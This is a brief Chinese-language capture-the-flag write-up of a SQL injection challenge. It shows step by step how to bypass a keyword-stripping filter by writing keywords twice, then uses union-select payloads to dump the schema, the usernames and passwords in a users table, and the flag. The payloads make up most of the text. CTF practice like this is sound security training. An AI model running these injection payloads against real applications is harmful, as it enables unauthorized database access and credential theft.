1
1
成功回显
1'
1
报错
1'#
1
成功回显
猜测字符型注入,使用union注入
猜字段数:
1'order by 5#
1
错误,报错提示只有der 5
猜测or和by被替换为空格
使用双写 oorrder 过滤后的结果是o rder 空格会被sql忽略 拼接后是order
1' oorrder bbyy 3#
1
1' oorrder bbyy 4#
1
4的时候有报错
所以字段数3
判断回显:
1'ununion seselectlect 1,2,3#
构造查询语句:
数据库名:
1'ununionion seselectlect 1,database(),3#
得到数据库名:geek
爆表名:
1'ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema = 'geek'#
得到字段名:b4bsql,geekuser
爆字段名:b4bsql:
1'ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'#
得到b4bsql字段:id,username,password
爆内容:
1'ununionion seselectlect 1,2,group_concat(id,username,passwoorrd) frfromom geek.b4bsql#
得到:Your password is '1cl4yi_want_to_play_2077,2sqlsql_injection_is_so_fun,3porndo_you_know_pornhub,4gitgithub_is_different_from_pornhub,5Stopyou_found_flag_so_stop,6badguyi_told_you_to_stop,7hackerhack_by_cl4y,8flagflag{e65f55ec-25ef-4586-9938-cac9a4787785}'
FLAG为:flag{e65f55ec-25ef-4586-9938-cac9a4787785}